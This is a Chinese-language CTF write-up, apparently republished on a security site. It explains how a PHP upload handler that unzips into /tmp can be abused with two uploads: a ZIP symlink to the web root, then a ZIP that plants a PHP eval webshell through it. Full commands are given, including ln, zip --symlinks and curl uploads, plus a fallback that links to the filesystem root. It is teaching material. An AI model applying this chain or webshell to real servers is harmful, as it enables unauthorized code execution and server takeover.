CTF:ZIP软链接解压写入WebShell"

admin 2026-10-22 12:40:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CTF:ZIP 软链接解压写入 WebShell

原创

小话安全
小话安全

小话安全

2026年10月20日 10:56
山东

去阅读

核心一句话:利用两次 ZIP 上传,第一次在 /tmp 创建指向 Web 根目录的软链接,第二次让 unzip 沿着软链接把 WebShell 解压到 Web 目录。

1. 代码审计

关键代码:

if (finfo_file($finfo, $_FILES[”file”][”tmp_name”]) === 'application/zip'){          exec('cd /tmp && unzip -o ' . $_FILES[”file”][”tmp_name”]);     };

可得出:

  1. 上传字段名是 file;
  2. 只检查上传文件 MIME 是否为 application/zip,普通 ZIP 即可通过;
  3. 通过后执行:
cd /tmp && unzip -o 上传临时文件

也就是把 ZIP 解压到 /tmp;4. -o 表示覆盖已有文件;5. 没有过滤压缩包内容,也没有限制解压路径。

直接上传包含 shell.php 的 ZIP,只会解压到 /tmp/shell.php,通常无法通过 Web 访问。因此需要利用ZIP 中的软链接,把解压路径“重定向”到 Web 根目录。


2. 利用链

利用链如下:

第一次上传:ZIP 中包含软链接 link -> /var/www/html          ↓     解压到 /tmp 后得到:/tmp/link -> /var/www/html              ↓      第二次上传:ZIP 中包含 link/shell.php             ↓     unzip 解压时访问 /tmp/link/shell.php              ↓      实际写入 /var/www/html/shell.php              ↓      访问 http://目标/shell.php

关键点:第二个压缩包里的目录名必须和第一次创建的软链接名一致。


3. 具体步骤

第一步:构造指向 Web 根目录的软链接 ZIP

假设 Web 根目录是 /var/www/html:

ln -s /var/www/html link     zip --symlinks link.zip link

--symlinks 很关键,表示把软链接本身打包进去,而不是打包链接目标目录的内容。

上传:

curl -F ”[email protected]” http://目标地址/

上传并解压后,服务器上会存在:

/tmp/link -> /var/www/html

第二步:构造包含 WebShell 的 ZIP

创建与软链接同名的目录:

mkdir link     echo '<?php eval($_POST[1]);?>' > link/shell.php     zip -r shell.zip link/shell.php

压缩包内部路径应为:

link/shell.php

上传:

curl -F ”[email protected]” http://目标地址/

解压时,unzip 会解析:

/tmp/link/shell.php

由于 /tmp/link 是指向 /var/www/html 的软链接,实际写入:

/var/www/html/shell.php

第三步:访问 WebShell

访问:

http://目标地址/shell.php

POST 参数:

1=phpinfo();

即可验证。


4. 如果不知道 Web 根目录

可以创建指向根目录 / 的软链接:

ln -s / linkzip --symlinks link.zip link

然后第二个压缩包内部构造:

mkdir -p link/var/www/html     echo '<?php eval($_POST[1]);?>' > link/var/www/html/shell.php     zip -r shell.zip link/var/www/html/shell.php

解压后:

/tmp/link/var/www/html/shell.php

由于 /tmp/link -> /,实际写入:

/var/www/html/shell.php

常见 Web 根目录还可以尝试:

/var/www/html      /var/www     /app      /usr/share/nginx/html

5. 注意事项

  1. 必须先上传软链接 ZIP,再上传 WebShell ZIP,顺序不能反;
  2. 第二个 ZIP 内的目录名必须与软链接名完全一致,例如都叫link;
  3. 打包软链接必须使用 zip --symlinks;
  4. Web 进程需要对目标 Web 目录有写权限;
  5. error\_reporting(0)会隐藏错误,失败时需检查路径、权限、软链接是否创建成功;
  6. unzip -o 会覆盖已有文件,便于覆盖写入;
  7. 仅用于授权 CTF/靶场环境,不要用于未授权系统。

6. 解题流程总结

代码审计发现 ZIP 自动解压到 /tmp            ↓      直接上传 shell 只能进 /tmp,无法访问             ↓     利用 ZIP 软链接:link -> Web 根目录              ↓     第一次上传创建 /tmp/link 软链接            ↓     第二次上传 link/shell.php              ↓    unzip 沿软链接写入 Web 根目录            ↓    访问 /shell.php 获取 WebShell

依次上传link.zip link1.zip

CTF:ZIP软链接解压写入WebShell" 网络安全文章

CTF:ZIP软链接解压写入WebShell"

本文介绍CTF中利用ZIP软链接特性实现WebShell写入的利用链。核心思路是两次上传ZIP:首次在/tmp创建指向Web根目录的软链接,第二次利用unzip沿软链接将WebShell解压至Web目录。文章包含代码审计分析、具体操作步骤、注意事项及解题流程总结,并强调仅限授权环境使用。
叮~WorkBuddy可白嫖1k积分" 网络安全文章

叮~WorkBuddy可白嫖1k积分"

腾讯QClaw本地AI助手因业务调整将于12月24日停运,官方提供退款、本地备份及迁移至WorkBuddy三条出路。迁移可获1000积分补贴,新老用户均可领取,有效期1个月。迁移需官网授权与客户端执行两步,注意仅个人版支持,数据删除截止2027年3月24日,建议尽早备份迁移。
某盘图书管理系统审计(0dayRCE绕WAF)" 网络安全文章

某盘图书管理系统审计(0dayRCE绕WAF)"

本文为某盘图书管理系统的安全审计实战记录,发现旧版系统存在鉴权缺陷及Hessian反序列化0dayRCE漏洞,可未授权调用GdlisnetManager类方法并泄露读者信息。作者详细分析了过滤器与Shiro配置,并利用CVE-2021-43297构造跨协议嵌套链实现延时验证,展示了AI辅助代码审计的实战价值。
我被诈骗了" 网络安全文章

我被诈骗了"

本文复盘一起由兼职人员拉群、通过红包诱导下载诈骗APP的精准诈骗案例,揭露其从微信群引流至独立APP、利用敏感词屏蔽异议、以小额返利建立信任后实施大额`解冻`骗局的完整链条,并指出该APP存在通信未加密、密钥明文存储、硬编码服务器地址等严重安全缺陷,建议公众警惕此类`影视推广`骗局,企业应加强云服务存储审计与反欺诈技术建设。
评论:0   参与:  0